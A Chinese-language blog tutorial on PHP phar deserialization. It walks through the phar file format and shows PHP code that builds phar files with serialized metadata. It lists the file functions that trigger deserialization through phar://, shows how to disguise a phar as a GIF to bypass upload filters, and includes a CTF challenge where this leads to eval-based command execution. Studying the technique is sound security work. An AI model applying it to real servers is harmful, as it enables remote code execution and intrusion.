phar反序列化

前言:看了酒馆师傅的那篇phar反序列化的利用之后,自己就来学习下phar反序列化!

参考文章:https://xz.aliyun.com/t/2958
参考文章:https://paper.seebug.org/680/
参考文章:https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/#phar介绍

在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作!

不依赖不是说没有,只是相关文件的系统函数底层实现的时候会进行unserialize的操作!

phar文件结构

1.A stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

2.A manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击手法最核心的地方

3.The file contents

被压缩文件的内容。

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

初步了解

注意:要将php.ini中的 phar.readonly 选项设置为Off,否则无法生成phar文件。

然后用php内置的phar类来构建一个文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

hex编码工具打开查看,可以看到 meta-data 序列化的内容成功的保存到了文件中

在一些 文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化

受影响的函数有

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents

file         filegroup        fopen        fileinode      fileowner            fileperms

is_dir       is_file          is_link      is_executable  is_readable          is_writeable

is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file   

已经序列化的内容已经保存在了phar.phar中,我们用受影响的函数进行试验,去触发反序列化

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt'; //test.txt是保存在phar包中的文件条目
    file_exists($filename); //受影响的file_exists函数
?>

结果内容如下:

可以看到先触发了反序列化 输出了test内容,然后还会执行当前TestObject类中的析构函数,如果当前没有写TestObject类的话,单纯执行反序列化只会输出test内容!

当文件系统函数的参数可控时,我们可以在 不调用unserialize()的情况下 进行 反序列化操作 ,一些之前看起来"人畜无害"的函数也变得"暗藏杀机",极大的拓展了攻击面 !

PHP底层phar解析数据处理过程

处理代码如下:

int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){

    php_unserialize_data_t var_hash;
    if (zip_metadata_len) {
        const unsigned char *p;
        unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
        p = p_buff;
        ZVAL_NULL(metadata);
        PHP_VAR_UNSERIALIZE_INIT(var_hash);

        if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { //这里是最重要的,如果metadata存在的话 就会帮我们进行反序列化的操作,if语句后面就是对前面生成的数据的内存清除
            efree(p_buff);
            PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
            zval_ptr_dtor(metadata);
            ZVAL_UNDEF(metadata);
            return FAILURE;
        }
        efree(p_buff);
        PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
    }
}

unserialize 的定义为:若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)

所以先前定义的 TestObject 类,当有数据被反序列化了之后就会被重新构造为TestObject类的对象,并且还会有属于自己的属性!

phar包的伪装

phar文件还可以伪装后缀名,首先要知道的phar文件唯一的标识符__HALT_COMPILER();?>,只要不影响标识符,那么我们就可以通过 添加任意的文件头 + 修改后缀名的方式 来将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

生成的文件为如下:

采用这种方法可以绕过很大一部分上传检测。

phar反序列化实际应用

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为"跳板"
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

拿一道ctf的题目来进行学习:

第一题:

<?php 

if(isset($_GET['filename'])){
    $filename = $_GET['filename'];
    class MyClass{
        var $Output = 'echo "hahaha"';
        function __destruct()
        {
            // TODO: Implement __destruct() method.
            eval($this->Output);
        }
    }
    file_exists($filename);
}else{
    highlight_file(__FILE__);
}

我们可以通过上面生成phar包,其中meta-data 部分是 存储了MyClass实例化的对象值,然后通过$_GET['filename'],进行 file_exists 从而触发反序列化来覆盖 $Output 变量,最后导致eval($this->Output);命令执行!

posted @ 2020-03-19 02:09  zpchcbd  阅读(948)  评论(0编辑  收藏  举报